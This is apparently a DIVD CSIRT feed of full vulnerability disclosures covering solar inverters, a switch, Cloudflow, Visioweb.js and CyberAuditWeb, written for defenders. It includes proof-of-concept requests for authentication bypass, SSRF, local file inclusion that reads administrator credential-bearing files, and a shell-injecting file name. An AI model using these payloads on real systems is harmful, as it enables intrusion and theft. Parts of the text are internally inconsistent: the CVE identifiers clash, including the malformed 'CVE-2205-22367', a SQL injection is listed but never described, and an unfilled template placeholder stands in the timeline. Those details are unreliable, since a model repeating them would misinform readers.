DIVD CSIRT

Sungrow web portal full disclosure

Wed, 19 Aug 2026 00:00:00 +0200

DIVD received a vulnerability report from ENCS about the Sungrow web portal. The vulnerability was discovered by researcher Harm van den Brink.

DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVE to the vulnerability included in the write-up below:

CVE-2025-29756

The rest of this post contains the full technical write-up of the vulnerability.

MQTT endpoint and credentials used by the web portal can be used to obtain data of other Sungrow inverters (and potentially manipulate them) - CVE-2025-29756

CVE: CVE-2025-29756
Case: DIVD-2025-00009
Discovered by: Harm van den Brink
Credits: Reported to DIVD by ENCS. Discovered by researcher Harm van den Brink.
Products: Sungrow web portal
CVSS: 8.3 (HIGH) in case the connection is read only — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/AU:Y/V:C. 9.0 (CRITICAL) in case commands can also be sent — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P/AU:Y/V:C
Reference: Case DIVD-2025-00009, CVE-2025-29756
Solution: Restrict access to the MQTT topics to only those that belong to the account, either by using a unique key pair for the devices in an account or by restricting rights on the MQTT broker.

The Sungrow web portal uses an underlying MQTT broker service to receive live updates of the status of the inverter. The web portal makes an API call to retrieve obfuscated/encrypted information about the MQTT broker’s endpoint from the Sungrow API and decrypts those credentials in JavaScript.

Via the JavaScript debugger it is possible to obtain the MQTT endpoint and credentials and subscribe to the topic(s) for the inverter(s) in the account.

The messages sent over MQTT are encrypted using asymmetrical encryption, but, again via JavaScript debugging, it is possible to obtain the RSA key that can be used for decryption (and potentially encryption) of MQTT messages.

This is all more or less expected, as it is impossible to implement an MQTT client in JavaScript in which this is not possible. However, the steps below should not be possible.

Using the MQTT credentials it is possible to subscribe to all topics, at which point the MQTT client starts receiving metadata about all other Sungrow inverters connected to the same MQTT broker. When we summed up the power production of 20 seconds of MQTT messages, we observed a total of over 400 MW of power.

We suspect that, by encrypting control messages with the same key and publishing them to these MQTT topics, it might also be possible to change settings on other inverters, but we have not verified this for fear of causing damage to or adverse effects on other inverters.

Suggested actions

Restrict access to the MQTT topics to only those that belong to the account, either by using a unique key pair for the devices in an account or by restricting rights on the MQTT broker.

Screenshot 1: MQTT credentials (secrets redacted)

Screenshot 2: obtaining keys (secrets redacted)

Screenshot 3: obtaining keys (secrets redacted)

Case closed: DIVD-2026-00005 - Salesforce Experience Cloud – Data Exposure via Misconfiguration

Fri, 07 Aug 2026 02:00:00 +0200

DIVD is researching Salesforce Experience Cloud applications exposing sensitive data due to authorization misconfiguration such as overly permissive guest user permissions, object access and field-level security.

Case closed: DIVD-2026-00003 - Mendix Applications – Data Exposure due to Authorization Misconfiguration

Fri, 07 Aug 2026 02:00:00 +0200

DIVD is researching Mendix applications exposing sensitive data due to authorization misconfiguration such as overly permissive entity access rules, role mappings and XPath constraints.

Case closed: DIVD-2026-00002 - DIVD-2026-00002 – Ivanti Endpoint Manager Mobile Vulnerabilities

Fri, 07 Aug 2026 02:00:00 +0200

Two critical vulnerabilities in Ivanti Endpoint Manager Mobile allow unauthenticated remote code execution. One vulnerability is actively exploited in the wild, with public proof-of-concept code available.

Case closed: DIVD-2025-00041 - Victim Notification Operation Endgame S03E01

Fri, 31 Jul 2026 02:00:00 +0200

DIVD is notifying victims of the various infostealer malware strains from information confiscated by law enforcement as part another episode of Operation Endgame. If you received a notification, please read the appropriate instructions carefully.

Case closed: DIVD-2025-00018 - Victim Notification Operation Endgame 2.0

Fri, 07 Aug 2026 02:00:00 +0200

DIVD is notifying victims of the Latrodectus infostealer, the evolution of IcedID. We are notifying victims that where identified as a part of Operation Endgame 2.0. If you receive a notification, please read the instructions carefully.

Case closed: DIVD-2024-00019 - Victim Notification Operation Endgame

Fri, 07 Aug 2026 02:00:00 +0200

The DIVD is notifying victims of several botnets, based on information obtained from the Dutch National Police’s Operation Endgame

Case closed: DIVD-2024-00011 - Six vulnerabilities in Enphase IQ Gateway devices

Fri, 31 Jul 2026 02:00:00 +0200

Six critical vulnerabilities have been discovered in Enphase Envoy solar inverters. DIVD is assisting Enphase with locating vulnerable devices.

CyberAuditWeb and videx-legacy-ssl full disclosure

Fri, 31 Jul 2026 00:00:00 +0200

DIVD researchers discovered multiple vulnerabilities in CyberAuditWeb (versions < 9.8.11) and in videx-legacy-ssl (versions 1.0.9 up to at least 1.1.3).

DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities described in this case:

CVE-2205-22367 — SQL injection / credential overwrite in CyberAuditWeb (chained via the authentication bypass)
CVE-2025-22366 — Server-Side Request Forgery in videx-legacy-ssl

The rest of this post contains the full technical write-up of the vulnerabilities.

Vulnerability 1: Authentication bypass via missing return statement — CyberAuditWeb (fixed in 9.8.11)

CVE: CVE-2025-22366
Case: DIVD-2024-00043
Products: CyberAuditWeb (versions < 9.8.11)
CVSS: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/S:N/AU:Y/R:A/V:D/RE:L/U:Green
Solution: Add the missing return/abort after the authorization check in DownloadServlet, so that failing the check actually halts request processing. Update to CyberAuditWeb 9.8.11 or later.

The vulnerable code is located in caw_ent.jar:com/videx/cyberaudit/webtier/manage/trim/DownloadServlet.class. The handler checks for a manage session attribute and sends a 404 (“Please log in”) if it is absent — but does not stop execution afterward. Because there is no return (or equivalent halt) following the error response, control flow continues and unconditionally sets manage to true on the session regardless of whether the check passed:

Boolean manage = (Boolean) req.getSession().getAttribute("manage");
if (manage == null) {
     resp.sendError(404, "Please log in");
}
req.getSession().setAttribute("manage", true);

This can be reproduced by following these steps in order:

Request https://<host>/CyberAuditWeb/mobile/Login.do and click “Next” to obtain a valid session, including CSRF tokens.
Request https://<host>/CyberAuditWeb/manage/trim/download/3. This hits the flawed check above and — regardless of the outcome of the check — sets manage=true on the session via req.getSession().setAttribute("manage", true);.
Request https://<host>/CyberAuditWeb/manage/ManageHome.act. The session now carries manage=true, so this management endpoint is reachable without ever having authenticated.

Suggested actions

Add a proper halt (return; or equivalent) immediately after the sendError call so that failing the authorization check actually prevents the subsequent code from running. Update to CyberAuditWeb 9.8.11 or later, which is reported to return HTTP 404 correctly for this path.

Vulnerability 2: Server-Side Request Forgery in videx-legacy-ssl (tested up to version 1.1.3)

CVE: CVE-2025-22367
Case: DIVD-2024-00043
Products: videx-legacy-ssl (tested on version 1.1.3; patch status to be confirmed with vendor)
CVSS: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:L/SI:L/SA:N/S:N/AU:Y/R:A/V:D/RE:L/U:Green
Solution: Validate and restrict the destination of proxied/CONNECT-style requests server-side (allowlist of permitted hosts), and reject requests to internal/loopback address ranges. Confirm and apply the vendor’s fix once available.

The videx-legacy-ssl component accepts a CONNECT-style request whose path embeds a base64-encoded target URL, and issues a GET request to that target on behalf of the server. This allows an attacker to make the server perform requests against arbitrary destinations, including internal-only services such as 127.0.0.1, effectively bypassing network-level access restrictions.

CONNECT 1111:a@eradix.nl/CyberAuditWeb/services/../../ssrf/aHR0cHM6Ly8xMjcuMC4wLjE6ODQ0Mi9DeWJlckF1ZGl0V2ViL0hvbWUuYWN0 HTTP/1.1
Host: 192.168.132.129:54443
<headers omitted for the PoC>

userName=TopLevel&password=TopLevel

The base64 segment in the path decodes to a target URL (in this example, a request to https://127.0.0.1:8442/CyberAuditWeb/Home.act), demonstrating that the server can be made to issue requests to arbitrary destinations of the attacker’s choosing, including addresses that should only be reachable internally.

Suggested actions

Restrict the set of destinations the proxy/CONNECT handler will forward to (allowlist known-good hosts), explicitly block loopback and private address ranges, and remove or authenticate the base64-URL-in-path pattern rather than trusting it directly. Confirm with the vendor whether this is fixed in a version beyond 1.1.3, since the source PoC only confirms presence up to that version.

More information

Visioweb.js

Thu, 30 Jul 2026 00:00:00 +0200

During a penetration test, a client-side prototype pollution vulnerability was discovered in the Visioweb.js library, developed by Visio Globe. The vulnerability occurs in the getURLParameters function and, when combined with a gadget elsewhere in the application, can lead to DOM-based cross-site scripting (XSS).

DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVE to the vulnerability included in the write-up below:

CVE-2022-3901

The rest of this post contains the full technical write-up of the vulnerability.

Client-side prototype pollution leading to DOM-XSS - CVE-2022-3901

CVE: CVE-2022-3901
Discovered by: Jan-Jaap Korpershoek
Credits: Jan-Jaap Korpershoek (finder), Victor Pasman (DIVD, analyst)
Products: Visioweb.js (Visio Globe), affected platforms: Windows, MacOS, Linux
Affected versions: all versions up to and including 1.10.6
CVSS: 7.2 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CWE: CWE-1321 — Improperly Controlled Modification of Object Prototype Attributes (‘Prototype Pollution’)
CAPEC: CAPEC-588 — DOM-Based XSS
Reference: https://csirt.divd.nl/CVE-2022-3901
Solution: Upgrade to Visioweb 1.10.7

Technical write-up

Prototypes are the mechanism by which JavaScript objects inherit features from one another. Each object has a prototype, which can be accessed using the __proto__ parameter. This prototype contains fields and functions that are accessible from the object itself so if a parameter is not overridden on the object itself, the value from the prototype is used instead.

If the prototype of an object can be changed (“polluted”) by user-controlled input, this is called a prototype pollution vulnerability.

Client-side prototype pollution is not, on its own, a vulnerability with direct impact. However, when paired with a “gadget” any piece of JavaScript that evaluates the user-controlled prototype value or inserts it unsafely into the DOM — it can lead to vulnerabilities such as DOM-based XSS or open redirection, potentially allowing an attacker to control JavaScript execution on the page. The affected code path is the getURLParameters function, which parses URL parameters without adequately guarding against prototype pollution. This function is part of the mapviewer-uikit code that ships as an integral component of the Visioweb distribution — it is not an optional, standalone sample that a consumer would typically strip out. For that reason the issue is treated as affecting the product itself, across all versions up to and including 1.10.6, rather than being scoped to a detached demo. The behaviour was reproduced against the mapviewer-uikit code shipped in the ZIP package for VisioWeb 1.10.6. To keep the impact assessment precise, it is worth separating what was directly demonstrated from what is conditional:

What was demonstrated. A proof-of-concept payload targeting getURLParameters confirmed the prototype pollution primitive: by supplying a crafted URL, arbitrary properties on JavaScript objects used by the page could be overwritten. This is the finding that was actually reproduced during the engagement.

What is conditional. Prototype pollution by itself does not execute attacker-controlled script. Escalation to DOM-based XSS (or open redirection) requires a suitable gadget — downstream code that reads the polluted value and passes it into a dangerous sink (the DOM or a JavaScript execution context). Whether that escalation is reachable depends on the specific gadgets present in a given application built on top of Visioweb, and a full end-to-end XSS chain was not demonstrated in this write-up. The CVE reflects the realistic worst case (DOM-XSS), because a polluted prototype can influence other components on the same page. Consumers should therefore treat the confirmed prototype pollution as the concrete defect, and the DOM-XSS as the escalation it enables wherever a matching gadget exists in their own code.

Suggested actions

Upgrade Visioweb.js to version 1.10.7 or later, where this issue has been fixed.
If upgrading is not immediately possible, validate and sanitize any user-controlled input before it is used to set or update object properties, and avoid passing user input directly into functions that traverse or assign nested object paths (such as getURLParameters).
Review any custom gadgets in your application that consume prototype-polluted values, since the impact of this vulnerability depends on what downstream code does with the polluted object.

Timeline

{timeline from casefile — not provided in the source documents; please fill in reservation/disclosure/publication dates}

CVE reserved: 2022-11-08
CVE published: 2023-02-20
CVE Full disclosure: 2026-07-30

More information

CVE record: https://csirt.divd.nl/CVE-2022-3901
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (‘Prototype Pollution’)
BlackFan prototype pollution payloads: https://github.com/BlackFan/client-side-prototype-pollution
PortSwigger — Client-side prototype pollution: https://portswigger.net/web-security/prototype-pollution

Cloudflow

Thu, 30 Jul 2026 00:00:00 +0200

Multiple vulnerabilities were identified within the Hybrid Software Cloudflow CLOUDFLOW PROOFSCOPE module during an external penetration test from a black-box perspective. The issues allow an unauthenticated attacker with network access to the application to retrieve arbitrary files from the underlying server’s local filesystem, to list and download files stored in the application’s built-in storage, and to upload files to that storage without authentication.

DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:

The rest of this post contains the full technical write-up of the vulnerabilities.

Unauthenticated Local File Inclusion - CVE-2022-41216

CVE: CVE-2022-41216
Case: DIVD-2022-00052
Discovered by: Witold Gorecki
Credits: Witold Gorecki (witold@gorecki.org, researcher), Victor Pasman (Analyst DIVD)
Products: Cloudflow from Hybrid Software (CLOUDFLOW PROOFSCOPE module), versions ≤ 2.3.1
CVSS: 9.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H) — CWE-829: Inclusion of Functionality from Untrusted Control Sphere / CAPEC-252: PHP Local File Inclusion
Reference: Case DIVD-2022-00052, CVE-2022-41216
Solution: Upgrade to version 2.3.2 of Cloudflow

Description

Within the internet-facing instance of CLOUDFLOW PROOFSCOPE it was found that one of the URLs contains a url parameter that is used for accessing files from the web application’s built-in storage via the cloudflow:// protocol scheme:

GET /portal.cgi?asset=download_file&url=cloudflow://path_to_file

It was found that the file:// protocol scheme could be used instead to obtain files directly from the web server’s local filesystem, without any authentication:

GET /portal.cgi?asset=download_file&url=file:///C:/windows/system32/drivers/etc/hosts

It was additionally observed that the web server process was running with administrative privileges, since files from the local administrator’s home directory (normally accessible only to an administrative user) could be retrieved, including:

C:\Users\Administrator\NTUser.dat
C:\Users\Administrator\appdata\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

It could not be confirmed, due to limited access during testing, whether running the web server with administrative privileges was a misconfiguration by the server administrator or a default setting of the CLOUDFLOW software.

Risk

A potential attacker could obtain files from the server’s local filesystem and steal or leak confidential information. Because the web application runs with administrator-level privileges, this could include sensitive files such as NTUser.dat or PowerShell command history, both of which may contain sensitive information.

Proof of Concept

Requesting file:///C:/windows/system32/drivers/etc/hosts returned the contents of the server’s hosts file with an HTTP 200 OK response.
Requesting the PowerShell ConsoleHost_history.txt file from the local administrator’s profile also returned file contents, confirming the web server process runs with administrative privileges.

Suggested actions

Remove support for the file:// protocol scheme and deny any requests to the url parameter that contain this scheme without further processing.
Review whether the web server process requires administrative privileges and, if possible, reduce it to the least privilege required.
Upgrade to Cloudflow version 2.3.2 or later.

Unauthenticated File Upload - CVE-2022-41217

CVE: CVE-2022-41217
Case: DIVD-2022-00052
Discovered by: Witold Gorecki
Credits: Witold Gorecki (witold@gorecki.org, researcher), Victor Pasman (Analyst DIVD)
Products: Cloudflow from Hybrid Software (CLOUDFLOW PROOFSCOPE module), versions ≤ 2.3.1
CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — CWE-434: Unrestricted Upload of File with Dangerous Type / CAPEC-650: Upload a Web Shell to a Web Server
Reference: Case DIVD-2022-00052, CVE-2022-41217
Solution: Upgrade to version 2.3.2 of Cloudflow

Description

Within the internet-facing instance of CLOUDFLOW PROOFSCOPE it was found that one of the URLs allows uploading files to the web application’s built-in storage without any authentication:

POST /portal.cgi?hub=upload_file&whitepaper_name=<REDACTED>&input_name=<REDACTED>

The uploaded file could subsequently be downloaded again via the built-in cloudflow:// file retrieval endpoint:

GET /portal.cgi?asset=download_file&url=cloudflow://<path>/test123.txt

A related finding from the same assessment, not separately assigned a CVE identifier in the source material provided, is that one of the application’s URLs (POST /portal.cgi/asset/list) also allows listing files stored in the built-in storage without authentication, and that listed files can subsequently be downloaded via the same cloudflow:// retrieval endpoint. This information-disclosure issue was rated Medium (CVSS 5.3, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) in the original assessment and is closely related to the file storage exposed by this upload vulnerability.

Risk

A potential attacker could upload malicious files to the CLOUDFLOW PROOFSCOPE built-in storage and use them for malicious purposes, such as phishing campaigns. Depending on the underlying storage solution, uploading a large number of large files could also generate significant costs (cloud storage) or cause a Denial of Service condition (local filesystem storage). Combined with the unauthenticated file-listing/download issue described above, an attacker could also enumerate and retrieve files already stored by legitimate users.

Proof of Concept

A file (test123.txt) was uploaded via POST /portal.cgi?hub=upload_file with no authentication required, returning a cloudflow:// path to the stored file.
The uploaded file was then retrieved via GET /portal.cgi?asset=download_file&url=cloudflow://.../test123.txt, confirming the round trip.
File listing via POST /portal.cgi/asset/list returned metadata (id, URL, filename, path, file type, timestamps) for existing files in storage without authentication.

Suggested actions

Restrict file upload functionality to authenticated users only.
If unauthenticated uploads are required by design, implement:
- File size limits;
- Restrictions on the number of files that can be uploaded (e.g. per IP, User-Agent, and screen size combination);
- A CAPTCHA mechanism to prevent automated abuse.
Restrict file listing and download functionality to authenticated users only.
Upgrade to Cloudflow version 2.3.2 or later.

Timeline

2023-02-21: DIVD released CVE-2022-41216 and CVE-2022-41217.
2024-07-21: Case closed due to inactivity.
2026-07-30: Full disclosure of CVE’s.

More information

Six vulnerabilities in Enphase IQ Gateway devices

Mon, 27 Jul 2026 00:00:00 +0200

DIVD researchers Wietse Boonstra and Hidde Smit have discovered six critical vulnerabilities in Enphase IQ Gateway devices (formerly known as Enphase Envoy). The vulnerabilities are present in versions 4.x to 8.x. Version 8.2.4225 and later are patched. The first three vulnerabilities can be chained into an unauthenticated Remote Command Execution attack. On older (v7.x and earlier) devices, the password may be a weak default or calculable from the serial number, which can be read remotely (see CVE-2020-25754). With these vulnerabilities, an attacker could take full control over an Enphase IQ Gateway device.

DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:

The rest of this post contains the full technical write-up of the vulnerabilities.

Unauthenticated path traversal via URL parameter - CVE-2024-21876

CVE: CVE-2024-21876
Case: DIVD-2024-00011
Discovered by: Wietse Boonstra, Hidde Smit
Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)
Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v8 < v8.2.4225, v7, v6, v5 and v4
CVSS: 9.3 (CRITICAL) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/S:N/AU:Y/V:D/RE:H
Reference: Case DIVD-2024-00011, CVE-2024-21876
Solution: Devices are remotely being updated by the vendor.

Enphase IQ Gateway contains a path traversal flaw in the handling of the locale URL parameter inside envoy.rb. The get_locale function reads the locale parameter and, when the page is cacheable (any request to /home or a path containing /production), the value ends up unsanitized in a cache file name that is built by CacheUtils.cache_file in cache_utils.rb:

class CacheUtils
  CACHE_DIR = '/tmp/cache'

  def self.cache_file name
    filename = File.join( CACHE_DIR, name )
    FileUtils.mkdir_p( File.dirname( filename ) )
    filename
  end
end

Because the locale value is concatenated into the cache file name without sanitization, an unauthenticated attacker can use ../ sequences to escape /tmp/cache and write a file to an arbitrary path on the file system, including /opt/emu/db/. This is the first step of a chain with CVE-2024-21877 (insecure cache file naming) and CVE-2024-21878 (command injection via /etc/profile) that results in unauthenticated root command execution - see the proof of concept below.

Suggested actions

Do not expose your Enphase IQ Gateway device to an untrusted network (e.g. the internet or a visitor network). If internet connectivity is needed, place the device behind a NAT gateway. Update to firmware 8.2.4225 or later as soon as it is offered by Enphase.

Authenticated insecure cache file generation based on user input - CVE-2024-21877

CVE: CVE-2024-21877
Case: DIVD-2024-00011
Discovered by: Wietse Boonstra, Hidde Smit
Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)
Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v8 < v8.2.4225, v7, v6, v5 and v4
CVSS: 8.6 (HIGH) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/S:N/AU:Y/V:D/RE:H
Reference: Case DIVD-2024-00011, CVE-2024-21877
Solution: Devices are remotely being updated by the vendor.

CacheUtils.cache_file in cache_utils.rb builds the on-disk cache file name by directly joining the requested URI, the negotiated Accept header, and the requested locale, without validating that the resulting name stays inside /tmp/cache. Combined with the path traversal in CVE-2024-21876, this allows an authenticated (and, when chained with CVE-2024-21876, an unauthenticated) attacker to control both the path and the file name of a file written by the device, which is what makes it possible to plant a file inside /opt/emu/db/ with an attacker-chosen name.

Suggested actions

Do not expose your Enphase IQ Gateway device to an untrusted network. Update to firmware 8.2.4225 or later as soon as it is offered by Enphase.

Unpatched command injection via unsafe file name evaluation in /etc/profile - CVE-2024-21878

CVE: CVE-2024-21878
Case: DIVD-2024-00011
Discovered by: Wietse Boonstra, Hidde Smit
Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)
Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v8.x, v7, v6, v5 and v4 (currently unpatched)
CVSS: 7.1 (HIGH) standalone, 9.2 (CRITICAL) when chained with CVE-2024-21876 and CVE-2024-21877 - CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/S:P/AU:Y/R:I/V:C/RE:H
Reference: Case DIVD-2024-00011, CVE-2024-21878
Solution: No vendor patch is available for this specific behavior; exploitation is blocked once CVE-2024-21876 and CVE-2024-21877 are patched, since a file can then no longer be planted in /opt/emu/db/.

/etc/profile on the device iterates every file in /opt/emu/db ($EMU_INIT_DB_DIR) ending in .cols and evals its content as an environment export, without validating the file name itself:

for f in $EMU_INIT_DB_DIR/*.cols; do
    [ -f $f ] || continue
    t=`basename $f .cols`
    eval export EMU_NPK_COLS_$t=`cat $f`
done

Because $f (derived from the file name) is not sanitized before being used in eval, a file name such as ;COMMAND;#.cols results in arbitrary shell command execution as root the next time /etc/profile is sourced - on a cron job (daily at 23:00 on v7.x and earlier) or on device reboot. Chained with the path traversal (CVE-2024-21876) and insecure cache-file naming (CVE-2024-21877), an unauthenticated attacker can plant such a file and wait for execution, or force a reboot/crash to trigger it sooner.

Suggested actions

Do not expose your Enphase IQ Gateway device to an untrusted network. This reduces the likelihood that an attacker can reach the endpoint required to plant the malicious file in the first place.

Authenticated command injection via unvalidated wireless configuration input - CVE-2024-21879

CVE: CVE-2024-21879
Case: DIVD-2024-00011
Discovered by: Wietse Boonstra, Hidde Smit
Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)
Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v8 < v8.2.4225, v7, v6, v5 and v4
CVSS: 8.7 (HIGH) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/S:P/AU:Y/R:I/V:C/RE:H
Reference: Case DIVD-2024-00011, CVE-2024-21879
Solution: Devices are remotely being updated by the vendor.

wireless_display.rb sets @wlan.regdomain directly from the regdomain parameter of an authenticated POST request, without validation:

when 'advanced_form'
  if ( @pg_parms.cm.cgi.key?('#button_apply') )
    @wlan.regdomain = @pg_parms.cm.cgi['regdomain']
  end

The regdomain= setter in wlaninfo.rb writes this value into /etc/wifi/wifi.conf and then executes /lib/crda/setregdomain, a shell script that sources the same config file:

[ -r "${ENVOY_WIFI_PARMFILE}" ] && . "${ENVOY_WIFI_PARMFILE}"

Because the config file is sourced with . rather than treated as data, any shell metacharacters an attacker embeds in regdomain are executed as root, immediately - no reboot or cron wait required.

Suggested actions

Do not expose your Enphase IQ Gateway device to an untrusted network. Change default credentials on older firmware. Update to firmware 8.2.4225 or later as soon as it is offered by Enphase.

Authenticated command injection via network configuration - CVE-2024-21880

CVE: CVE-2024-21880
Case: DIVD-2024-00011
Discovered by: Wietse Boonstra, Hidde Smit
Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)
Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v7, v6, v5 and v4
CVSS: 8.6 (HIGH) - CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/S:P/AU:Y/R:I/V:C/RE:H
Reference: Case DIVD-2024-00011, CVE-2024-21880
Solution: Devices are remotely being updated by the vendor.

Devices with firmware prior to 7.0 do not validate the default_apn parameter submitted to the /admin/lib/network_display.json endpoint. On these older firmware versions, the default installer credentials are envoy:nnnnnn, where nnnnnn is the last six digits of the device’s serial number, which can be read remotely and unauthenticated from /info.xml. Combined, this allows an authenticated attacker - including one who only guessed the predictable default password - to inject and execute arbitrary shell commands as root by manipulating default_apn and then triggering a network adapter restart.

Suggested actions

Do not expose your Enphase IQ Gateway device to an untrusted network. Change default credentials. Restrict network access to the administrative interface to trusted users. Update to firmware 8.2.4225 or later as soon as it is offered by Enphase.

Authenticated command execution via malicious encrypted package upload - CVE-2024-21881

CVE: CVE-2024-21881
Case: DIVD-2024-00011
Discovered by: Wietse Boonstra, Hidde Smit
Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)
Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v5 and v4
CVSS: 8.6 (HIGH) - CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/S:P/AU:Y/R:I/V:C/RE:H
Reference: Case DIVD-2024-00011, CVE-2024-21881
Solution: Devices are remotely being updated by the vendor.

/opt/emu/httpd/rhtdocs/installer/agf/upload_profile_package.rb decrypts an uploaded .eepkg package and, if it contains a migration script, executes it with system():

if (handle_file_upload(UPLOAD_PATH, UPLOAD_FILE))
  if (system("md5sum #{UPLOAD_PATH}/#{UPLOAD_FILE} > #{UPLOAD_PATH}/#{UPLOAD_FILE}.md5sum; eecrypt --action decrypt --input #{UPLOAD_PATH}/#{UPLOAD_FILE} --output stdout | gunzip > #{UPLOAD_PATH}/#{DECRYPTED_FILE}"))
    # -----
    if (File.exist?("#{UPLOAD_PATH}/#{MIGRATION_SCRIPT}"))
      system("ruby #{UPLOAD_PATH}/#{MIGRATION_SCRIPT} verbose &")
    end
end

Because the encryption used for .eepkg packages relies on a key and tooling (eecrypt) that is not adequately protected, an authenticated installer-level attacker can craft their own valid encrypted package containing an arbitrary migration_script, upload it, and have the device execute it as root.

Suggested actions

Do not expose your Enphase IQ Gateway device to an untrusted network. Update to firmware 8.2.4225 or later as soon as it is offered by Enphase, or where a full update is not possible for these older device generations, restrict installer-level access as tightly as possible.

Timeline

2024-04-11: Wietse Boonstra and Hidde Smit report six vulnerabilities to DIVD CSIRT.
2024-04-17: Vendor notified via email to cybersecurity@enphaseenergy.com and cybersecurity@enphase.com and via ticket 16059299.
2024-04-18: Vendor acknowledges receipt of the vulnerability (time to acknowledge: 1 day).
2024-04-18: 1st meeting between DIVD researchers and vendor.
2024-04-18 to 2024-07-12: DIVD and Enphase work together (time to patch: ~3 months).
2024-07-12: Enphase reports that the vulnerabilities are patched. Finders validate the fixes. Enphase starts updating devices.
2024-07-12: DIVD starts scanning for vulnerable Envoy devices to assist with prioritizing the patch process.
2024-04-18 to 2024-08-10: Time to limited disclosure.
2024-08-10: Limited disclosure of CVEs by Enphase.
2024-08-10: Limited disclosure of CVEs by DIVD following Enphase disclosure.
2026-07-27: Full disclosure of CVEs by DIVD.

More information

Enphase Advisories
CVE-2024-21876 - Enphase Advisory for CVE-2024-21876
CVE-2024-21877 - Enphase Advisory for CVE-2024-21877
CVE-2024-21878 - Enphase Advisory for CVE-2024-21878
CVE-2024-21879 - Enphase Advisory for CVE-2024-21879
CVE-2024-21880 - Enphase Advisory for CVE-2024-21880
CVE-2024-21881 - Enphase Advisory for CVE-2024-21881
DIVD-2024-00011 - full case file
Recommendation: Do not expose your Enphase equipment to untrusted networks (e.g. the internet or a visitor network). If internet connectivity is needed, place the device behind a NAT gateway.

Case closed: DIVD-2025-00003 - Multiple vulnerabilities in Mennekes Smart / Premium Charging stations

Fri, 17 Jul 2026 02:00:00 +0200

Five vulnerabilities have been found in Mennekes Smart / Premium charging stations

White Rabbit Switch full disclosure

Fri, 17 Jul 2026 00:00:00 +0200

DIVD received a vulnerability report about the White Rabbit Switch from CERN. The vulnerabilities were discovered by researcher Tom Wolters of Chapter8.

DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:

The rest of this post contains the full technical write-up of the vulnerabilities.

Unauthenticated password disclosure via configuration file read - CVE-2023-22577

CVE: CVE-2023-22577
Case: DIVD-2022-00068
Discovered by: Tom Wolters (Chapter8)
Credits: Reported to DIVD by Tom Wolters (Chapter8, tom@chapter8.com). Analysis by Victor Pasman (DIVD).
Products: White Rabbit Switch, all versions prior to 6.0.1 (most recent vulnerable release 7/7/21)
CVSS: 9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Reference: Case DIVD-2022-00068, CVE-2023-22577
Solution: Upgrade to White Rabbit Switch version 6.0.2, which contains a fix for this vulnerability.

Within White Rabbit Switch it’s possible as an unauthenticated user to retrieve sensitive information such as password hashes and the SNMP community strings.

The web application exposes a showfile.php endpoint that is used to serve context-sensitive “help pages” for the various configuration screens. The help_id and name GET parameters supplied by the visitor are passed unfiltered into the wrs_display_help() function, defined in functions.php.

One of the branches of wrs_display_help() handles a help_id value of dotconfig, in which case the function reads out the full contents of the application’s configuration file (kconfigfile) and returns it directly to the requester:

else if (!strcmp($help_id, "dotconfig")){
    $message = file_get_contents($GLOBALS['kconfigfile']);
    $message = str_replace("\n", "<br>", $message);
}

